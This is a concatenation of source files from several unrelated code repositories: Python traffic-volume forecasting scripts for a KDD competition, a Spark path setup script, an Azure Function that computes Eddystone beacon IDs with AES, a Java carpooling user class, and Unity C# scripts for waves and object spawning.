pyplot.figure() pyplot.plot(volume) pyplot.show() for day in predict_weekday: indice = all_indices(day,relative_weekday) for i in indice: prediction[(day-1)*72:day*72,:] += volume[i*72:(i+1)*72,:] prediction[(day-1)*72:day*72,:] = prediction[(day-1)*72:day*72,:]/len(indice) pyplot.figure() pyplot.plot(prediction) pyplot.show() # generating submission files submission_up = np.zeros(210, dtype=int) for i in range(5): # 5 direction for k in range(6): # 2 hours = 6 * 20mins for j in range(7): # 7 days submission_up[i * 7 * 6 + k * 7 + j] = prediction[72 * j + 21 + k, i] submission_down = np.zeros(210, dtype=int) for i in range(5): for k in range(6): for j in range(7): submission_down[i * 7 * 6 + k * 7 + j] = prediction[72 * j + 51 + k, i] submission = np.hstack((submission_up,submission_down)) pyplot.figure() pyplot.plot(submission) pyplot.show() print submission.shape submission_table['volume'] = submission print submission_table[:15] submission_table.to_csv('volume_submission_relativeday_2.csv',index=False) <file_sep># do vehicle classification import numpy as np import pandas as pd path = 'input/' info = pd.read_csv(path+'volume(table 6)_training.csv',delimiter=',') print info print info.groupby(by=['vehicle_model','has_etc'],sort=False).count() <file_sep>import pandas as pd from matplotlib import pyplot import seaborn info = pd.read_csv('input/training_20min_avg_volume.csv') print info info = info[info['tollgate_id']==1] info = info[info['direction']==0] pyplot.figure() pyplot.plot(info.values[:,3]) pyplot.show()<file_sep># this file is to train and predict volume # prediction = f(day_in_week) + f(sesonnality) + f(t-1) + f(weather) + error import numpy as np import statsmodels.api as sm import pandas as pd from matplotlib import pyplot import seaborn # pre-define function def all_indices(value, qlist): indices = [] idx = -1 while True: try: idx = qlist.index(value, idx+1) indices.append(idx) except ValueError: break return indices final_submission = np.zeros((7*72,5),dtype=float) score_list = [] for fold in range(1,6): print '************************************************' print ' fold ' + str(fold) print '************************************************' # step 0 : read fold info # train set days and CV set days && relative week day && weather feature print 'step 0: prepare features' f = open('volume_files/fold'+str(fold)+'/train_CV_set.txt','r') line = f.readline() f.close() line = line.replace('[','') line = line.replace(']',' ') line = line.split(' ') line = filter(None,line) trainset_days = [] CV_set_days = [] for i in range(16): trainset_days.append(int(line[i])) for i in range(16,20): CV_set_days.append(int(line[i])) relative_weekday = [2,2,3,4,5,6,7,1,2,3,4,2,2,3,3,4,5,6,7,1] relative_day_trainset = [relative_weekday[i] for i in trainset_days] relative_day_CV_set = [relative_weekday[i] for i in CV_set_days] relative_day_testset = [2,3,4,5,6,7,1] print relative_day_trainset print relative_day_CV_set print relative_day_testset print 'start training .............................' prediction = np.zeros((7*72,5),dtype=float) total_set = np.zeros((16*72,5),dtype=int) CV_total_set = np.zeros((4*72,5),dtype=int) CV_total_set_prediction = np.zeros((4*72,5),dtype=float) for model in ['1','2','extra']: print 'model : '+ model # step 1 : find seasonal part and remove seasonnal part print 'step 1: sesonal weekly model' trainset = np.loadtxt('volume_files/fold'+str(fold)+'/model_'+model+'_trainset.csv',dtype=int) print np.mean(trainset,axis=0) total_set = total_set + trainset seasonal_part = np.empty((0,72*7)) for i in range(5): res = sm.tsa.seasonal_decompose(trainset[:,i],freq=72) seasonal_part = np.vstack((seasonal_part,res.seasonal[:72*7])) trainset[:,i] = trainset[:,i] - res.seasonal seasonal_part = np.transpose(seasonal_part) # step 2 : model for relative week print 'step 2: relative week day model' alpha_model_value = np.zeros((7,5),dtype=float) mean_value = np.mean(trainset,axis=0) for i in range(1,8): index = all_indices(i,relative_day_trainset) selected_trainset = np.empty((0,5)) for j in index: selected_trainset = np.vstack((selected_trainset,trainset[j*72:(j+1)*72,:])) alpha_model_value[i-1,:] = (np.mean(selected_trainset,axis=0) / mean_value) -1 relative_weekday_part = np.ones((16*24*3,5),dtype=float) for i in range(5): relative_weekday_part[:,i] = relative_weekday_part[:,i]*mean_value[i] for j,num in zip(relative_day_trainset,range(len(relative_day_trainset))): relative_weekday_part[num*72:(num+1)*72,i] = (1+alpha_model_value[j-1,i]) * relative_weekday_part[num*72:(num+1)*72,i] trainset = trainset - relative_weekday_part # step 3 : weather influence # CV prediction print 'predict CV set ' CV_seasonal_part = seasonal_part[:4*72,:] CV_relative_weedday_part = np.ones((4*72,5),dtype=float) for i in range(5): CV_relative_weedday_part[:,i] = CV_relative_weedday_part[:,i]*mean_value[i] for j,num in zip(relative_day_CV_set,range(len(relative_day_CV_set))): CV_relative_weedday_part[num*72:(num+1)*72,i] = (1+alpha_model_value[j-1,i]) * CV_relative_weedday_part[num*72:(num+1)*72,i] # CV test CV_set = np.loadtxt('volume_files/fold'+str(fold)+'/model_'+model+'_CV_set.csv',dtype=int) CV_total_set = CV_total_set + CV_set CV_set_prediction = CV_seasonal_part + CV_relative_weedday_part CV_total_set_prediction = CV_total_set_prediction + CV_set_prediction # for i in range(5): # pyplot.figure() # pyplot.plot(CV_set[:,i]) # pyplot.plot(CV_set_prediction[:,i]) # pyplot.show() # prediction for test set print 'predict test set ' testset_seasonal_part = seasonal_part[:7*72,:] testset_relative_weedday_part = np.ones((7*72,5),dtype=float) for i in range(5): testset_relative_weedday_part[:,i] = testset_relative_weedday_part[:,i]*mean_value[i] for j,num in zip(relative_day_testset,range(len(relative_day_testset))): testset_relative_weedday_part[num*72:(num+1)*72,i] = (1+alpha_model_value[j-1,i]) * testset_relative_weedday_part[num*72:(num+1)*72,i] testset_prediction = testset_seasonal_part + testset_relative_weedday_part prediction = prediction + testset_prediction # visualizing CV set prediction CV_total_set_prediction[CV_total_set_prediction<0] = 0 CV_total_set_prediction = np.round(CV_total_set_prediction) # for i in range(5): # pyplot.figure() # pyplot.plot(CV_total_set_prediction[:,i]) # pyplot.plot(CV_total_set[:,i]) # pyplot.show() CV_diff = CV_total_set - CV_total_set_prediction CV_diff = np.abs(CV_diff) print CV_diff.shape # evaluate function CV_prediction_up = np.zeros(120,dtype=float) CV_denum_up = np.zeros(120,dtype=float) for i in range(5): for k in range(6): for j in range(4): CV_prediction_up[i*4*6+k*4+j] = CV_diff[72*j+24+k,i] CV_denum_up[i*4*6+k*4+j] = CV_total_set[72*j+24+k,i] + 1 CV_prediction_down = np.zeros(120,dtype=float) CV_denum_down = np.zeros(120,dtype=float) for i in range(5): for k in range(6): for j in range(4): CV_prediction_down[i*4*6+k*4+j] = CV_diff[72*j+51+k,i] CV_denum_down[i*4*6+k*4+j] = CV_total_set[72*j+51+k,i] + 1 print 'score ..........................' # # pyplot.figure() # pyplot.plot(np.hstack((CV_prediction_up,CV_prediction_down))) # pyplot.plot(np.hstack((CV_denum_up,CV_denum_down))) # pyplot.show() # # # pyplot.figure() # pyplot.plot(np.hstack((CV_prediction_up,CV_prediction_down))/np.hstack((CV_denum_up,CV_denum_down))) # pyplot.show() CV_results = np.hstack((CV_prediction_up,CV_prediction_down))/np.hstack((CV_denum_up,CV_denum_down)) CV_results[CV_results>10] = 1 print np.mean(CV_results) score_list.append(np.mean(np.hstack((CV_prediction_up,CV_prediction_down))/np.hstack((CV_denum_up,CV_denum_down)))) # visualizing final prediction prediction[prediction<0] = 0 prediction = np.round(prediction) print prediction.shape final_submission = final_submission + prediction pyplot.figure() pyplot.plot(total_set) pyplot.plot(np.transpose(np.vstack((np.arange(16*72,23*72),np.arange(16*72,23*72),np.arange(16*72,23*72),np.arange(16*72,23*72),np.arange(16*72,23*72)))),prediction) pyplot.show() # CV score predict print 'final CV score ' print score_list print np.mean(score_list) # generating submission files final_submission = np.round(final_submission/5)+1 submission_up = np.zeros(210,dtype=int) for i in range(5): for k in range(6): for j in range(7): submission_up[i*7*6+k*7+j] = final_submission[72*j+24+k,i] submission_down = np.zeros(210,dtype=int) for i in range(5): for k in range(6): for j in range(7): submission_down[i*7*6+k*7+j] = final_submission[72*j+51+k,i] submission = np.hstack((submission_up,submission_down)) submission_table = pd.read_csv('input/submission_sample_volume.csv') print submission.shape pyplot.figure() pyplot.plot(submission) pyplot.show() submission_table['volume'] = submission submission_table.to_csv('volume_submission.csv',index=False)
d279ef3a5d88f7902474afbfbe2e29f88960dc37
[ "Markdown", "Python" ]
8
Python
YuzhenWANG/kaggle-KDD
f10afb19b362fa30380bc3870161bf121b0259d5
496c84ec2eb45184e5d173b2045c4fd4b7d88261
refs/heads/master
<file_sep>/* * Práctica 5(opcional). Codificación * Autor: <NAME> * Curso: 2ºB * Grupo de prácticas: B3 * Profesor de prácticas: <NAME> */ package ModeloTapuntas; import java.text.DateFormat; import java.util.*; /** * * @author marioanloru */ class Usuario { private String nombreUsuario; private String contraseña; private String direccionCorreo; private String nombre; private String telefono; private String breveDescripcionPersonal; private boolean visibilidad = false; private TipoTransaccion[] preferenciaCobro; private boolean pendienteBaja = false; // incluir los demás atributos private ArrayList<Vehiculo> vehiculos; private ArrayList<PlanAlquiler> planesAlquiler; Usuario(String nombreUsuario, String contraseña, String direccionCorreo) { this.preferenciaCobro = new TipoTransaccion[4]; this.nombreUsuario= nombreUsuario; this.contraseña = <PASSWORD>; this.direccionCorreo = direccionCorreo; this.nombre = ""; this.telefono = ""; this.breveDescripcionPersonal = ""; this.vehiculos = new ArrayList(); this.planesAlquiler = new ArrayList(); this.preferenciaCobro = new TipoTransaccion [4]; int i=0; while(i < 4){ preferenciaCobro[i] = TipoTransaccion.EFECTIVO; i++; } } String obtenerNombre(){ return nombre; } String obtenerTelefono(){ return telefono; } TipoTransaccion[] obtenerPreferenciaCobro(){ return preferenciaCobro; } String obtenerDescripcion(){ return breveDescripcionPersonal; } void modificarVisibilidad(boolean visibilidad){ this.visibilidad = visibilidad; } void nuevoVehiculo(String matricula, String marca, String modelo, String color,int numeroPlazas, String categoria, String confor){ Vehiculo nuevoVehiculo = new Vehiculo(matricula,marca, modelo, color, numeroPlazas, categoria, confor); vehiculos.add(nuevoVehiculo); } ArrayList<PlanAlquiler> obtenerPlanesQueCumplanRequisitos(String ciudadRecogida, GregorianCalendar fechaInicio, GregorianCalendar fechaFin){ ArrayList<PlanAlquiler> resultado = new ArrayList(); ArrayList<String> datosPAUsuario = new ArrayList(); ArrayList<String> datosPA = new ArrayList(); datosPAUsuario.add(this.nombreUsuario); datosPAUsuario.add(this.preferenciaCobro.toString()); for(PlanAlquiler pa : planesAlquiler){ String auxCiudadRecogida = pa.obtenerCiudadRecogida(); GregorianCalendar auxPrimerDia = pa.primerDiaAlquiler(); GregorianCalendar auxUltimoDia = pa.ultimoDiaAlquiler(); if( (ciudadRecogida.equals(auxCiudadRecogida) ) && (fechaInicio.after(auxPrimerDia) ) && (fechaFin.before(auxUltimoDia))) datosPA = pa.obtenerDatosPA(); } return resultado; } void definirPlanAlquiler(String matricula, GregorianCalendar fechaInicio, GregorianCalendar fechaFin, String ciudadRecogida) throws Exception{ Vehiculo vehiculo = buscarVehiculo(matricula); boolean disponible = vehiculo.estasDisponible(fechaInicio, fechaFin); if(disponible == true) throw new Exception("El vehiculo ya pertenece plan alquiler en esas fechas"); PlanAlquiler miPlanAlquiler = new PlanAlquiler(vehiculo, fechaInicio, fechaFin, ciudadRecogida); vehiculo.incluirPlanAlquiler(miPlanAlquiler); planesAlquiler.add(miPlanAlquiler); miPlanAlquiler.modificarVisibilidad(false); } //Elimina un vehiculo por su matricula void eliminarVehiculo(String matricula) throws Exception{ Vehiculo vehiculo = buscarVehiculo(matricula); boolean alquilado = vehiculo.comprobarEstadoAlquileres(); if(alquilado) throw new Exception("el vehículo no se puede eliminar, tiene vigentes alquileres o viajes"); if(!alquilado) vehiculo.eliminarVehiculoAlquileres(); vehiculos.remove(vehiculo); } //Introduce el perfil de un usuario en el sistema por sus datos void introducirPerfil(String nombre, String telefono, String breveDescripcion, TipoTransaccion[] preferenciasCobro){ this.nombre = nombre; this.telefono = telefono; this.breveDescripcionPersonal = breveDescripcion; this.preferenciaCobro = preferenciasCobro; modificarVisibilidad(true); } ArrayList<PlanAlquiler> obtenerPlanesAlquiler(){ GregorianCalendar fechaActual = new GregorianCalendar(); fechaActual.getInstance(); boolean auxVisible; ArrayList<String> datosPlanAlquiler = new ArrayList(); ArrayList<PlanAlquiler> planesAlq = new ArrayList(); for(PlanAlquiler plan : this.planesAlquiler){ auxVisible = plan.obtenerVisible(); if( !(auxVisible) && fechaActual.before(plan.ultimoDiaAlquiler()) ){ datosPlanAlquiler = plan.obtenerDatosPlanAlquiler(); planesAlq.add(plan); } //falta incluir(datosPlanAlquiler) } return planesAlq; } ArrayList<String> consultarPerfil(){ ArrayList<String> infoPerfil = new ArrayList(); infoPerfil.add(this.nombre); infoPerfil.add(this.telefono); infoPerfil.add(this.breveDescripcionPersonal); infoPerfil.add(Boolean.toString(visibilidad)); return infoPerfil; } void ofertarPlanAlquiler(GregorianCalendar fechaInicio, String matricula){ PlanAlquiler pa = buscarPlanAlquiler(fechaInicio, matricula); } Vehiculo buscarVehiculo(String matricula){ Vehiculo auxiliar = new Vehiculo("","","","",0,"",""); String auxMatricula = ""; for(Vehiculo vehic : vehiculos){ auxMatricula = vehic.obtenerMatricula(); if(auxMatricula.equals(matricula)) auxiliar = vehic; } return auxiliar; } private PlanAlquiler buscarPlanAlquiler(GregorianCalendar fechaInicio, String matricula){ PlanAlquiler resultado = null; String auxMatricula; GregorianCalendar auxFechaInicio; for(PlanAlquiler plan : this.planesAlquiler){ auxMatricula = plan.obtenerVehiculo().obtenerMatricula(); auxFechaInicio = plan.primerDiaAlquiler(); if(auxFechaInicio.equals(fechaInicio) && auxMatricula.equals(matricula) ) resultado = plan; } return resultado; } void mostrarVehiculos(){ int contador = 0; for(Vehiculo vehiculo : this.vehiculos){ System.out.print("\nVehiculo nº: " + contador + vehiculo.toString()); contador++; } } }
bd44d5bbd1b7e5b903b65980ef7d109a2464b3e6
[ "Java" ]
1
Java
TehRibbon/ModeloTapuntas
13ea5af073e26cf246780c81528deb9f9c7a0ac0
b381418b944926d3524e25dd0ab60b4022efaeb6
refs/heads/master
<repo_name>hachesilva-forks/budget-duo<file_sep>/src/templates/selected.js module.exports = function(option, value) { if (option === +value) { return ' selected'; } return ''; }; <file_sep>/src/templates/color.js import { colors } from '../config'; module.exports = function(index) { return colors[index]; }; <file_sep>/README.md # budget-duo Calculate how much you and your partner should contribute towards shared expenses To run locally, clone the repository and run: ``` npm install ``` Once all of the dependencies are installed, you can start the development server with: ``` npm run dev ``` This project uses Google Firebase's [Realtime Database](https://firebase.google.com/products/realtime-database/) and [Authentication](https://firebase.google.com/products/auth/) so you'll need to replace the [configuration](https://github.com/hursey013/budget-duo/blob/master/src/config.js#L9-L16) with your own credentials. <file_sep>/src/app.js import 'babel-polyfill'; import 'element-closest'; import './images/logo_360x360.png'; import './stylesheets/styles.scss'; import * as config from './config'; import sample from './sample.json'; const accountSignin = document.querySelector('.signin'); const accountSignout = document.querySelector('.signout'); const chartContainer = document.getElementById('chart'); const expenseContainer = document.getElementById('expenses'); const expenseWrapper = document.getElementById('expenses-wrapper'); const incomeContainer = document.getElementById('incomes'); const mainPage = document.getElementById('main'); const notification = document.getElementById('notification'); const pages = document.querySelectorAll('.page'); const reportTotal = document.querySelector('.report-total'); const reportTotalBiweekly = document.querySelector('.report-total-biweekly'); const reportTotalBimonthly = document.querySelector('.report-total-bimonthly'); const reportTotalAnnually = document.querySelector('.report-total-annually'); const rowContainer = document.getElementById('rows'); const rowTotalContainer = document.getElementById('row-total'); const splitContainer = document.getElementById('split'); const splitIncome = document.getElementById('split-income'); // Auth let currentUid = null; config.firebaseApp.auth().onAuthStateChanged(user => { if (user && currentUid === user.uid) { return; } if (user) { currentUid = user.uid; config.usersRef .child(currentUid) .once('value') .then(snapshot => { const budget = snapshot.val(); budget ? buildUI(budget) : buildUI(pushLocalBudget()); }); } else { currentUid = null; buildUI(setLocalBudget(), true); } }); // Initialize function buildUI(budget, persistStorage) { const expensesArray = budget.expenses; const incomesArray = budget.incomes; const splitType = budget.split; clearUI(persistStorage); const labels = []; Object.keys(incomesArray).forEach(income => { labels.push(incomesArray[income].name); }); window.chart = config.buildChart(chartContainer, labels); if (splitType) { const radio = splitContainer.querySelector(`input[value=${splitType}]`); radio.checked = true; setSplitType(splitType); } if (incomesArray) { Object.keys(incomesArray).forEach((key, index) => { addDomElement(incomesArray[key], createKey(key), incomeContainer, index); addDomElement(incomesArray[key], null, rowContainer, index); }); } if (expensesArray) { Object.keys(expensesArray).forEach((key, index) => { addDomElement( expensesArray[key], createKey(key), expenseContainer, index ); }); } updateTotals(); } function clearUI(persistStorage) { const rows = rowContainer.querySelectorAll('.row'); if (!persistStorage) localStorage.removeItem('budget'); for (const row of rows) { row.classList.remove('expanded'); } rowTotalContainer.classList.add('expanded'); toggleSignInLinks(); setSplitType('income'); splitIncome.checked = true; reportTotal.innerHTML = ''; expenseContainer.innerHTML = ''; incomeContainer.innerHTML = ''; rowContainer.innerHTML = ''; } function pushLocalBudget() { const budget = JSON.parse(localStorage.getItem('budget')); config.usersRef.child(currentUid).set(budget); return budget; } function setLocalBudget() { const arrayToObject = array => array.reduce((obj, item) => { const newObj = obj; newObj[config.usersRef.push().key] = item; return newObj; }, {}); const budget = {}; budget.incomes = arrayToObject(sample.incomes); budget.expenses = arrayToObject(sample.expenses); localStorage.setItem('budget', JSON.stringify(budget)); return budget; } // Misc function addDomElement(object, key, parent, index) { const context = object; const div = document.createElement('div'); const type = parent.id; const template = require(`./templates/${type}.handlebars`); // eslint-disable-line import/no-dynamic-require if (isNumeric(index)) context.index = index; div.innerHTML = template(context); div.classList.add('animated', 'fadeIn'); const currencyInput = div.querySelector("[data-type='currency']"); if (key) div.id = key; if (currencyInput) config.inputmask.mask(currencyInput); parent.appendChild(div); } function auth() { config.ui.start('#firebaseui-auth-container', config.uiConfig); } function calcTotal(total, share, interval) { let newTotal = total; newTotal = interval ? newTotal * 12 / interval : newTotal; if (isNumeric(share)) { newTotal *= share; } return config.formatter.format(newTotal); } function createKey(key) { return key || config.usersRef.push().key; } function getTotal(inputs, index) { let total = 0; for (const input of inputs) { if (isNumeric(index)) { const select = input.parentNode.parentNode.querySelector('select'); const option = select.options[select.selectedIndex]; if (+index === +option.value) { total += +input.value; } } else { total += +input.value; } } return total; } function isNumeric(n) { return !isNaN(parseFloat(n)) && isFinite(n); } function removeBudgetItem(target) { const row = target.closest('[id]'); const type = row.parentNode.id; const key = row.id; if (currentUid) { showNotification('Saving...'); config.usersRef .child(currentUid) .child(type) .child(key) .remove() .then(showNotification('All changes saved', 3000)); } else { const item = JSON.parse(localStorage.getItem('budget')); delete item[type][key]; localStorage.setItem('budget', JSON.stringify(item)); } if (expenseContainer.querySelectorAll('[id]').length > 1) { row.parentNode.removeChild(row); updateTotals(); } else { const inputs = row.querySelectorAll('input'); for (const input of inputs) { row.classList.add('shake'); input.value = ''; updateBudgetItem(input); } } } function renderUI() { const hash = window.location.hash.substring(1); const ids = []; for (const page of pages) { if (hash === page.id) { page.classList.remove('hidden'); if (hash === 'login') auth(); } else { page.classList.add('hidden'); } ids.push(page.id); } if (hash === '' || !ids.includes(hash)) { mainPage.classList.remove('hidden'); } } function setSplitType(value) { expenseWrapper.className = `split-${value}`; } function showNotification(message, timeout) { notification.classList.add('lg:inline-block', 'fadeIn'); if (timeout) { setTimeout(() => { notification.innerHTML = message; }, 3000); } else { notification.innerHTML = message; } } function toggleSignInLinks() { if (currentUid) { accountSignin.closest('li').classList.add('hidden'); accountSignout.closest('li').classList.remove('hidden'); } else { accountSignin.closest('li').classList.remove('hidden'); accountSignout.closest('li').classList.add('hidden'); } } function updateBudgetItem(target) { const parent = target.closest('[id]'); const key = parent.id; const desc = target.name; const type = parent.parentNode.id; let val; if (target.nodeName === 'SELECT') { const option = target.options[target.selectedIndex]; val = +option.value; } else if (isNumeric(target.value)){ val = +target.value; } else { val = target.value; } if (currentUid) { const item = {}; showNotification('Saving...'); item[desc] = val; config.usersRef .child(currentUid) .child(type) .child(key) .update(item) .then(showNotification('All changes saved', 3000)); } else { const budget = JSON.parse(localStorage.getItem('budget')); !(key in budget[type]) && (budget[type][key] = {}); budget[type][key][desc] = val; localStorage.setItem('budget', JSON.stringify(budget)); } updateTotals(); } function updateChart(data) { window.chart.data.datasets[0].data = data; window.chart.update(); } function updateSalaryInputs(target) { const row = target.closest('[id]'); const input = target.type === 'range' ? 'tel' : 'range'; row.querySelector(`input[type='${input}']`).value = target.value; } function updateSplitType(target) { const key = target.name; const val = target.value; if (currentUid) { showNotification('Saving...'); config.usersRef .child(currentUid) .child(key) .set(val) .then(showNotification('All changes saved', 3000)); } else { const budget = JSON.parse(localStorage.getItem('budget')); budget[key] = val; localStorage.setItem('budget', JSON.stringify(budget)); } setSplitType(val); updateTotals(); } function updateTotals() { const expenseInputs = expenseContainer.querySelectorAll( "[data-type='currency']" ); const incomeInputs = incomeContainer.querySelectorAll( "[data-type='currency']" ); const expenseTotal = getTotal(expenseInputs); const incomeTotal = getTotal(incomeInputs); const splitType = document.querySelector("input[name='split']:checked").value; reportTotal.innerHTML = calcTotal(expenseTotal); reportTotalBiweekly.innerHTML = calcTotal(expenseTotal, 1, 26); reportTotalBimonthly.innerHTML = calcTotal(expenseTotal, 1, 24); reportTotalAnnually.innerHTML = calcTotal(expenseTotal, 1, 1); const data = []; for (const [index, incomeInput] of incomeInputs.entries()) { const row = document.querySelectorAll('#rows>div'); const rowShare = row[index].querySelector('.row-share'); const rowTotal = row[index].querySelector('.row-total'); const rowTotalBiweekly = row[index].querySelector('.row-total-biweekly'); const rowTotalBimonthly = row[index].querySelector('.row-total-bimonthly'); const rowTotalAnnually = row[index].querySelector('.row-total-annually'); let share; if (splitType === 'half') { share = 0.5; } else if (splitType === 'adhoc') { share = getTotal(expenseInputs, index) / +expenseTotal || 0; } else { share = +incomeInput.value / +incomeTotal; } rowShare.innerHTML = `${(share * 100).toFixed(0)}%`; rowTotal.innerHTML = calcTotal(expenseTotal, share); rowTotalBiweekly.innerHTML = calcTotal(expenseTotal, share, 26); rowTotalBimonthly.innerHTML = calcTotal(expenseTotal, share, 24); rowTotalAnnually.innerHTML = calcTotal(expenseTotal, share, 1); data.push(share); } updateChart(data); } // Event listeners function addListenerMulti(el, s, fn) { s.split(' ').forEach(e => el.addEventListener(e, fn, false)); } document.addEventListener('click', e => { if (e.target.matches('.add')) { e.preventDefault(); addDomElement(null, createKey(), expenseContainer); } if (e.target.closest('.row')) { e.preventDefault(); e.target.closest('.row').classList.toggle('expanded'); } if (e.target.matches('.remove')) { e.preventDefault(); removeBudgetItem(e.target); } if (e.target.matches('.signin')) { e.preventDefault(); window.location.hash = 'login'; } if (e.target.matches('.signout')) { e.preventDefault(); config.firebaseApp.auth().signOut(); } }); document.addEventListener('change', e => { if (e.target.matches('select')) { updateBudgetItem(e.target); } if (e.target.matches("input[type='radio']")) { updateSplitType(e.target); } }); addListenerMulti(window, 'hashchange load', () => { renderUI(); }); addListenerMulti(document, 'change input', e => { if (e.target.matches("#incomes input[type='range']")) { updateBudgetItem(e.target); updateSalaryInputs(e.target); } }); addListenerMulti(document, 'change paste keyup', e => { if (e.target.matches('#expenses input')) { updateBudgetItem(e.target); } if (e.target.matches("#incomes input[data-type='currency']")) { updateBudgetItem(e.target); updateSalaryInputs(e.target); } }); addListenerMulti( document, 'webkitAnimationEnd oanimationend msAnimationEnd animationend', e => { if (e.target.matches('.animated')) { e.target.classList.remove('fadeIn', 'shake'); } } );
006263f7246f09ecae1eddd3738497bce3edb01c
[ "JavaScript", "Markdown" ]
4
JavaScript
hachesilva-forks/budget-duo
71bf2fc3ce2620f035b83c7b5fb0c47583ae219d
42ad6e24fcac89d2448ad63249d90c58ad0b0188
refs/heads/master
<repo_name>PriGitPro/Spark<file_sep>/SpyderConf.py import os import sys # Configure the environment. # Set this up to the directory where Spark is installed # Create a variable for our root path def createConfig(): SPARK_HOME = os.environ['SPARK_HOME'] sys.path.insert(0,os.path.join(SPARK_HOME,"python")) sys.path.insert(0,os.path.join(SPARK_HOME,"python","lib")) sys.path.insert(0,os.path \ .join(SPARK_HOME,"python","lib","pyspark.zip")) sys.path.insert(0,os.path \ .join(SPARK_HOME,"python","lib","py4j-0.10.4-src.zip")) print("spark config ",SPARK_HOME) # Initiate Spark context. print(createConfig())
d38a2a3e0de9e10c66195e30ff68dbea733234af
[ "Python" ]
1
Python
PriGitPro/Spark
aa44c80b2f4671c0489ff349817a0e881e8a114e
893a39cc83951c7113f7d37a65d37ead2155ebc2
refs/heads/master
<repo_name>adriantorrie/Sample.Azure.Functions.Python<file_sep>/EDIGenerator/run.py """ Azure Functions HTTP Example Code for Python Created by <NAME> http://MediaRealm.com.au/ """ import sys, os sys.path.append(os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', 'lib'))) sys.path.append(os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', 'env/Lib/site-packages'))) import json from AzureHTTPHelper import HTTPHelper import base64 import hashlib import random import sys import time from Crypto.Cipher import AES from Crypto.Util import number import hkdf # This is a little class used to abstract away some basic HTTP functionality http = HTTPHelper() ik = http.get["ik"] scaler = int(http.get["scaler"]) beacon_time_seconds = int(http.get["beacontime"]) """Return the EID generated by the given parameters.""" tkdata = ( "\x00" * 11 + "\xFF" + "\x00" * 2 + chr((beacon_time_seconds / (2 ** 24)) % 256) + chr((beacon_time_seconds / (2 ** 16)) % 256)) # PrintBinary("Temporary Key data", tkdata) tk = AES.new(ik, AES.MODE_ECB).encrypt(tkdata) # PrintBinary("Temporary Key", tk) beacon_time_seconds = (beacon_time_seconds // 2 ** scaler) * (2 ** scaler) eiddata = ( "\x00" * 11 + chr(scaler) + chr((beacon_time_seconds / (2 ** 24)) % 256) + chr((beacon_time_seconds / (2 ** 16)) % 256) + chr((beacon_time_seconds / (2 ** 8)) % 256) + chr((beacon_time_seconds / (2 ** 0)) % 256)) # PrintBinary("Ephemeral Id data", eiddata) eid = AES.new(tk, AES.MODE_ECB).encrypt(eiddata)[:8] # PrintBinary("Ephemeral Id", eid) eidEncoded = base64.b64encode(eid) # All data to be returned to the client gets put into this dict returnData = { #HTTP Status Code: "status": 200, #Response Body: "body": "{ ""eid"":"+ eidEncoded+" }", # Send any number of HTTP headers "headers": { "Content-Type": "application/json" } } # Output the response to the client output = open(os.environ['res'], 'w') output.write(json.dumps(returnData))<file_sep>/README.md # Sample.Azure.Functions.Python Sample Azure Functions <file_sep>/requirements.txt --find-links wheelhouse pycrypto==2.6.1 hkdf==0.0.3
ff24b2ce64080e732bfd1821e742739af5ace5ec
[ "Markdown", "Python", "Text" ]
3
Python
adriantorrie/Sample.Azure.Functions.Python
6c08f13c1aeb24f07ad527fece150f5ff28ae2e1
14d0e7b254a7549b074bd5dec26c57842ac682eb
refs/heads/master
<file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class WavesController : MonoBehaviour { public GameObject wave; public int initialPosX; public float initialPosY; public int initialPosZ; public int posModifier; public int wavesZ; void Awake() { InstantiateWaves(); } private void InstantiateWaves() { GameObject instantiatedWave; for (int i = 0; i < wavesZ; i++) { instantiatedWave = Instantiate(wave, new Vector3(initialPosX, initialPosY, initialPosZ - i * posModifier), Quaternion.identity); StartCoroutine(instantiatedWave.GetComponent<WaveBehaviour>().WaitAndStartAnim(i * 0.5f)); } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class WaveBehaviour : MonoBehaviour { public IEnumerator WaitAndStartAnim(float waitTime) { yield return new WaitForSeconds(waitTime); GetComponent<Animator>().SetTrigger("Start"); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class SpawnManager : MonoBehaviour { [SerializeField] private Transform leftSpawnPoint = null; [SerializeField] private Transform rightSpawnPoint = null; [SerializeField] private float minTimeBetweenSpawns = 0; [SerializeField] private float maxTimeBetweenSpawns = 0; [SerializeField] private List<GameObject> grabbableObjects = new List<GameObject>(); private float spawnTimerLeft = 0; private float spawnTimerRight = 0; private float randomSpawnTimeLeft = 0; private float randomSpawnTimeRight = 0; private void Start() { SetRandomSpawnTimeLeft(); SetRandomSpawnTimeRight(); } private void Update() { spawnTimerLeft += Time.deltaTime; spawnTimerRight += Time.deltaTime; if (spawnTimerLeft > randomSpawnTimeLeft) { SpawnLeft(); } if (spawnTimerRight > randomSpawnTimeRight) { SpawnRight(); } } private void SetRandomSpawnTimeLeft() { randomSpawnTimeLeft = Random.Range(minTimeBetweenSpawns, maxTimeBetweenSpawns); } private void SetRandomSpawnTimeRight() { randomSpawnTimeRight = Random.Range(minTimeBetweenSpawns, maxTimeBetweenSpawns); } private void SpawnLeft() { Instantiate(RandomGrabbableObject(), leftSpawnPoint.position, Quaternion.identity); spawnTimerLeft = 0; SetRandomSpawnTimeLeft(); } private void SpawnRight() { Instantiate(RandomGrabbableObject(), rightSpawnPoint.position, Quaternion.identity); spawnTimerRight = 0; SetRandomSpawnTimeRight(); } private GameObject RandomGrabbableObject() { int index = Random.Range(0, grabbableObjects.Count - 1); return grabbableObjects[index]; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class Plank : MonoBehaviour { [SerializeField] private float moveSpeed = 0; private Rigidbody rb; private void Start() { rb = GetComponent<Rigidbody>(); } private void FixedUpdate() { rb.velocity = transform.right * moveSpeed; } }
32d075ccd2857b78f09c118c5e75401e16a19c32
[ "C#" ]
4
C#
ulissesnascim/ggj2020
987f22d06738f501a4aeebc277d947bafb0a33b1
d7d3753d4550afd27fb451a95671c78c5219d7ba
refs/heads/master
